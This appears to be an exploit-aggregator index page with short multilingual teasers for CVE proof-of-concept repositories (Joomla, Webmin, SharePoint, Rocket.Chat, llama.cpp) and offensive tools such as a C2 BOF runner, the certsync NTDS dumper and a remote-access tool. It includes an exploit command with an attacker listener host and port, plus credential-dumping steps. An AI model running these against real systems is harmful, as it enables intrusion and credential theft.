CVE-2018-11235

CVE-2018-11235 "git clone --recurse-submodule"을 실행하는 RCE 취약점 CVE-2018-11235...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution 영향 범위: 3.0.0-3.4.6 1. 취약점 검증 python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 “Vulnerable”이 표시되면 취약점이 존재함을 증명합니다. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 실행 성공 그리고 “configuration.php”에 무작위 비밀번호...

CVE-2012-2982

CVE-2012-2982 Эксплойт для CVE-2012-2982 CVE-2012-2982 — это уязвимость, обнаруженная в Webmin версии 1.580, которая позволяет удаленно выполнять код...

CVE-2018-5767-AC9

Исследователь и автор Дэвид Бейкер Статья: Sometimes Exploits Need Patches Too! Working Through a Change of Address внешняя ссылка CVE-2018-5767-AC9 Реализация доказательства концепции для CVE-2018-5767 https://vulners.com/cve/CVE-2018-5767 root@kitploit: Ниже представлена актуализация...

CVE-2019-0604

CVE-2019-0604 cve-2019-0604 SharePoint RCE 익스플로잇 블로그: https://www.cnblogs.com/k8gege/p/11093992.html 위키: https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit...

Remote-BOF-Runner

Remote BOF Runner Crystal Palace 기반 PIC 로더를 사용하여 Beacon Object FilesBOF를 원격으로 실행할 수 있는 Havoc 확장 프레임워크입니다. 개요 Remote BOF Runner는 Crystal Palace PIC 로더를 활용하여 임의의 프로세스에서 BOF를 안전하게 실행할 수 있게 해줍니다. 이 프레임워크는 명명된 파이프를 통한 정교한 프로세스 간 통신IPC 메커니즘을 구현하여 인젝션된 프로세스의 비콘 출력을 명령 및 제어C2 서버로 투명하게 전달합니다. 설정 및 설치 확장...

CVE-2021-41773

CVE-2021-41773 플레이그라운드 이것은 CVE-2021-41773에 취약한 Apache HTTPd2.4.49 인스턴스가 포함된 Debian bookworm 기반 컨테이너를 설정하기 위한 작은 Docker 레시피입니다. CGI가 명시적으로 활성화되어 있어 로컬 파일 공개 동작과 원격 명령 실행 동작을 테스트/확인하는 데 사용할 수 있습니다. 사용법 root@kitploit: $ docker-compose build && docker-compose-up 로컬 파일 공개 root@kitploit: $ curl -s...

certsync

certsync certsync is a new technique in order to dump NTDS remotely, but this time without DRSUAPI : it uses golden certificate and UnPAC the hash. It works in several steps: 1. Dump user list, CA informations and CRL from LDAP 2. Dump CA certificate and private key 3. Forge offline a certificate...

certsync

certsync certsync — новая техника для удаленного дампа NTDS, но на этот раз без DRSUAPI : она использует золотой сертификат и UnPAC the hash. Работает в несколько шагов: 1. Дамп списка пользователей, информации о CA и CRL из LDAP 2. Дамп сертификата CA и закрытого ключа 3. Офлайн-создание...

CVE-2021-22911

CVE-2021-22911 Rocket Chat 3.12.1에서 인증 전 블라인드 NoSQL 인젝션을 통한 원격 코드 실행 getPasswordPolicy 메서드는 NoSQL 인젝션 공격에 취약하며 인증/권한이 필요하지 않습니다. 비밀번호 재설정 토큰을 유출하여 계정을 탈취하는 데 사용될 수 있습니다. 관리자 계정을 탈취하면 원격 코드 실행이 가능합니다. 설명 1. 사용자 계정 탈취 인증되지 않은 상태 비밀번호 재설정 token 매개변수의 getPasswordPolicy 엔드포인트에 NoSQL 인젝션이 존재하며, 이는 JSON...

CVE-2022-31144

CVE-2022-31144 CVE-2022-31144 Redis DoS 취약점. RCE는 아직 완료되지 않음...

CVE-2026-49049

CVE-2026-49049 このリポジトリには、Joomla Helix3コンポーネントの脆弱性に対するPythonベースのスキャナーと概念実証が含まれています。このバグは任意ファイル書き込みの問題であり、攻撃者がWebからアクセス可能な場所にPHPペイロードを書き込める場合、リモートコード実行RCEにつながる可能性があります。 バグの内容 脆弱な動作は、リクエストパラメータが適切な検証なしにファイルパスやファイル内容を制御するために使用される場合に発生します。Helix3...

SimpleRemoter

SimpleRemoter 简体中文 | 繁體中文 | English ⚠️ Unmaintained & Legal Notice / メンテナンス終了とコンプライアンス声明 !CAUTION This project is NO LONGER MAINTAINED. Use at your own risk. このプロジェクトはメンテナンスを終了し、更新されません。ご利用は自己責任でお願いします。 ⚖️ Compliance Reminder / コンプライアンス注意事項 Legal Use Only: Unauthorized remote access is strictly...

CVE-2021-32159

..| CSRFtoCommandInjection1 |.. Описание: Эксплуатация атаки межсайтовой подделки запросов CSRF для внедрения команд через функцию загрузки и скачивания Webmin Протестированная версия: Webmin 1.973 последняя версия на GitHub от 07.03.2021 Тип атаки: Удалённая Воздействие: Выполнение команд Код PO...

cve-2018-15133

POC - CVE-2018-15133 Использование: root@kitploit: $ ./CVE-2018-15133 -h Usage: ./CVE-2018-15133 options Options: -APIKEY string API key del sitio web de Laravel, codificada en base64 -URL string URL del sitio web de Laravel a atacar -command string Comando a ejecutar en el sitio web vulnerable; ...

WebKit-CVE-2016-4622

WebKit CVE-2016-4622 분석: Slice ValueOf 고속 경로 취약점 심층 분석 Array.slice 조작을 통해 메모리 노출을 가능하게 하는 WebKit JavaScript Core 취약점의 종합적인 분석 및 공격 기법 목차 요약 취약점 개요 연구 환경 구성 기술 분석 공격 과정 주요 발견 사항 리소스 및 참고 자료 요약 이 저장소는 WebKit JavaScript Core 엔진의 심각한 메모리 노출 취약점인 CVE-2016-4622 에 대한 종합적인 분석을 담고 있습니다. 이 취약점은 Array.slice...

CVE-2026-34159

CVE-2026-34159 CVE-2026-34159 Lama.cpp RPC サーバー バージョン b8487 用の0クリックRCEエクスプロイト エクスプロイトは Hassan Ali @Casp3r0x0 によって開発されました 完全な解説は以下でご覧いただけます https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp...

CVE-2017-3066

CVE-2017-3066 설명 Adobe ColdFusion은 Action Message FormatAMF을 사용합니다. AMF 프로토콜은 사용자 정의 이진 직렬화 프로토콜입니다. 두 가지 형식AMF0 및 AMF3이 있습니다. Action 메시지는 헤더와 바디로 구성됩니다. 다양한 언어로 AMF 구현이 존재합니다. Java의 경우 Adobe BlazeDS현재 Apache BlazeDS가 있으며, 이는 Adobe ColdFusion에서도 사용됩니다. Adobe ColdFusion은 Apache BlazeDS 라이브러리에서 신뢰할...

CVE-2024-28741-northstar-agent-rce-poc

NorthStar C2 에이전트 RCE 저장형 XSS CVE-2024-28741에 대한 에이전트 RCE PoC, NorthStar C2의 저장형 XSS 취약점. 이 익스플로잇은 여러 개의 악의적인 에이전트 등록 요청을 팀서버로 전송하여 로그 웹 페이지에 기능하는 자바스크립트 페이로드를 점진적으로 구축합니다. 이 XSS를 활용하여 NorthStar C2 에이전트에서 명령을 실행할 수 있습니다. 전체 설명:...

sshuttle

sshuttle: where transparent proxy meets VPN meets ssh As far as I know, sshuttle is the only program that solves the following common case: Your client machine or router is Linux, FreeBSD, MacOS or Windows. You have access to a remote network via ssh. You don't necessarily have admin access on th...